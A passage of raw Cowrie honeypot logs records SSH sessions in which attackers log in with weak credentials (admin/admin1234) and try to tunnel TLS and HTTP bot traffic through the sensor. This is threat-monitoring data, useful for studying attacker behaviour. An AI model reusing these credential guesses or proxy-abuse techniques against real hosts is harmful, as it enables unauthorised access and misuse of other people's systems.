deflate\\r\\n\\r\\n_=QWluNmRrSnUqNzhiRGEmNg%3D%3DGXuaRIQ1mMs3ek%2FbmalPuB9dCvdRdPlpCm4gMHKCTk6bx%2B8abZ8Yw%2BOff8lLGa56980utsumZSiRvJ9I6gNAlOC%2F9FIqFF%2B397DX8oObfDcOC%2F6r3stkrI62LBKuo22AwrWdSSJHgDwwGgbWSYyA5J8EqEE%2FR5x8zoUGEBRbGrYKfjUQB010uVEBJlvKcT2uMIk%2BtU4B49MdCxLmQT0BIMIcPto6rQ3cG6Pn2jPJ4rCXD3Q2wKA9VVwwSxUO6potgGn%2BtdZfvJMYSBdbL%2FEJKAscmTR6qbAllYqaAs%2F8QQbm4HGsAJkWAVktBXbPP%2BRLYf%2FEMFznySfo1gpCFpC6X0Z1j9VpjtonBWK2AZ83AjSXxoYA%2FJ8SXgj3c7BargRCjecfWT36ouZrx59jJYa0QjyL%2Bz2P3MMnm7pFAiDAQrvjs6Zz%2Bjp9dRjF69ZezmkctxAKjUvlq7S9ymoWSI9Zm2O5GqL0q1hUgWrHwYsy11ySwpz1vurGEselZjvYsYVpWUsGOmNEbpaJI1MajE8qMnWXPd%2Fjr59ngFPRhl2KMEUHdoxo32PKoHqyarfSD7TVWkNfjPzMGUPcY%2F%2BrL60X5U4ftokiM4baEwsKZUf92S%2FKQKnbyFTAnuOf%2BkKX8xomObWVdmj3oRwHpT%2BstNrGnPMe7uZ3pOfrg4AwQGZb3maa5A6TQVIbPyV%2FPriQeCtrBLxMBlphgdAXivAn4OdgUS7doENa0sHS8eG5pGBQjeEySWNa2oL%2BOS9jExD%2FuWx4NPF20oTDLOM0RUpAU3FnZ77emi40lX3%2Bwl5bhTA6d9zL2FsXMMNHf0dB4Eeaf%2FUEnG9OjL9R7akSs2HFpX1uBNbrA%2BRl0QbXb8iu5DS3nqjr%2FRaabob35gHIflPu%2BbsvrH1qhcpr3qyw0Hf%2FLvRVSdVHGe1tyJnxLkp5yDNEoYV8WR9dzJyxFBiChR%2Bc5dYm%2FOtdurVlXwU5iuzUO0H0Ap6p6g3y%2Brk6QfeB6lQVwM9LlyMqZs9jRgwCHjFsQDG1OlwnrMQS%2BqHg7KleQ1A4T0yGqrcPVEQrI0ghQuk2fZM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:31.447392Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:32.964633Z","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.062201Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03f\\xc3\\x87\\x8e(\\x9e\\xa0\\xcaB\\xe6aY\\x1d\\xc2\\r\\xfa\\xb6\\xbe\\n@\\x8bT\\xe1\\x05\\\\}\\x97(E\\xac\\x92! \\x91\\x14\\xd5\\\\,\\x0c{ \\xd3\\xfec\\xb8Z0\\x1d\\x0c\\xea\\x90\\x83\\xac\\x1b\\x14\\x8f\\xaa\\xcd\\xcc\\x87U\\x06+\\xd9\\xf2\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 |X/\\xbd\\\\\\x1d\\xca\\xa5,\\x19\\xd3\\x0c\\xf8C\\x81\\x8f4\\x9ca}\\xd8\\xb9Qy\\xc9J\\x04\\xfe\\xbf\\x84\\xc9\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03f\\xc3\\x87\\x8e(\\x9e\\xa0\\xcaB\\xe6aY\\x1d\\xc2\\r\\xfa\\xb6\\xbe\\n@\\x8bT\\xe1\\x05\\\\}\\x97(E\\xac\\x92! \\x91\\x14\\xd5\\\\,\\x0c{ \\xd3\\xfec\\xb8Z0\\x1d\\x0c\\xea\\x90\\x83\\xac\\x1b\\x14\\x8f\\xaa\\xcd\\xcc\\x87U\\x06+\\xd9\\xf2\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 |X/\\xbd\\\\\\x1d\\xca\\xa5,\\x19\\xd3\\x0c\\xf8C\\x81\\x8f4\\x9ca}\\xd8\\xb9Qy\\xc9J\\x04\\xfe\\xbf\\x84\\xc9\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.066074Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.297423Z","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.351557Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0JN\\xc8\\x7fw\\xee\\xb4)\\xe7\\xeb\\xc9\\xe6\\x87\\x7fM\\xae\\x07\\xfe\\x08\\xb8s3\\xfef\\x04\\xa0\\x9f\\x05u\\xea# \\xda\\xdcg\\xe7\\xd46\\x13\\\\\\xe9H\\xa3\\xbd\\xfd\\'g\\xcc\\x9bW\\xe0\\xc9\\xd14\\xad\\x84,\\xfeYU\\xc0\\x1d+,\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xae2\\xc3\\x1a\\xd7H\\xe58B\\xab\\x16\\xda\\x83\\xc7\\x06`\\x01A\\x0b;\\t\\xeb\\xd8\\x14\\xaf\\xc4\\xa5\\xa6\\xe8\\x8d\\xb7{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0JN\\xc8\\x7fw\\xee\\xb4)\\xe7\\xeb\\xc9\\xe6\\x87\\x7fM\\xae\\x07\\xfe\\x08\\xb8s3\\xfef\\x04\\xa0\\x9f\\x05u\\xea# \\xda\\xdcg\\xe7\\xd46\\x13\\\\\\xe9H\\xa3\\xbd\\xfd\\'g\\xcc\\x9bW\\xe0\\xc9\\xd14\\xad\\x84,\\xfeYU\\xc0\\x1d+,\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xae2\\xc3\\x1a\\xd7H\\xe58B\\xab\\x16\\xda\\x83\\xc7\\x06`\\x01A\\x0b;\\t\\xeb\\xd8\\x14\\xaf\\xc4\\xa5\\xa6\\xe8\\x8d\\xb7{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.356139Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":49859,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa7aba37d08","protocol":"ssh","message":"New connection: 23.175.50.51:49859 (10.17.0.5:22) [session: 5aa7aba37d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.642866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.646549Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.2","message":"Connection lost after 17.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.650007Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:33.901612Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.29700541496277,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:34.156407Z","src_ip":"128.199.8.54","session":"cabdbe6c40c2","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:35.375333Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.9","message":"Connection lost after 21.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:38.400714Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:39.329127Z","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:39.421536Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; A73) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZFhLZnk8Slg1Z2NPITV7Lw%3D%3D4IjERiA0UUwjyn%2BoIoSCNmTA%2BRfBFrIZQpEWOakWBJEbX4WNpdOmN1M8NfcXPoRYct4i8UvO0hEhOFmdWrSEAZMH1%2BegH%2FXN9j4eGkKaQQtsMTDOgFTnClmQ4J50nHALT1LvVBDPvAkKvnJYPyzpekGxi%2Fd0eRj0DWCSWmD7AnI%2F7VydD9Gy7r6811UgyFAPuDlZknRtq8aUfMYdfClDlkvqQvhAyYkWkMYoDWfupKO0TWRUbN9EPk3O4zeZcLYaLrXabYhz%2Fn0r80oILwPIUtKckmc4%2FknHYnCStzYYbFCkH35VmX%2FXv9uxwKeGCZqcc0vguKxQhTQpSqhnVTzo%2FfIILexkzyaN1vJO2s%2FbQCbHo7JTgiveMQX0HxTLRg3A%2BAn%2FUVnrFqqiDr88wFoTegtCxuF7CZh6QGlzuXb%2BqzVA3CF9kszA8b4cw%2FErbqKRNPe%2BViJjRmpbF1EG3CfaPgJnIW8OdwnflOuj0ttfDKi35VHxicBh9TqRq3Gha6H7tnPhRGmfluHuBrQ3aeGLiZ9hrn9Vo7ZwqfYqgjhmhU%2Bdis%2FAC75f5hPqAc7jjKA5ZzPa3l1gGONywCYN2wPtZaG83aZap7qCTYxpDbv%2B4x4vP2VoQu3YMD6qxberDQfWyXrlGTbXh6weftUaSZB5oGjGVkQ7FqM27c3n4Z%2BBvTPI9oNUR9h0cesHObrHVFab1u%2Fwygg8NNxB3qaGZDv%2BUcq1Ifn1YcbVlS32eEvz9glOPOQXmL4t%2BeLbOz7aloVKDW4yeMEGzMBkxsHLBNRTupazTvs87kOY31a4Mwn4iDmu%2Fk0aHm8yGVDog%2BR38TJbYLsgFJTDG7lTYGZFtB%2FHrOLNKMPzsg12LL590c4i8UPph7yu7Jj9kXuliMLnNFFVdbHDTKKv9itos%2F4SHZeJgqE1i93pbKsEuN8jLSqEmRUgQMjaP2QleKrCQqTsObDQ0N4Do3FhS8m%2B67CZjth1LHz0X7Q%2FfZmVkZxxCO3JuKStvXM%2Bm4NuCyLCMwynQqRM%2FrkhJXgnTHgcEhYj9VZw6E3OEhPOT3rvthA6pqhoT6A%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; A73) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 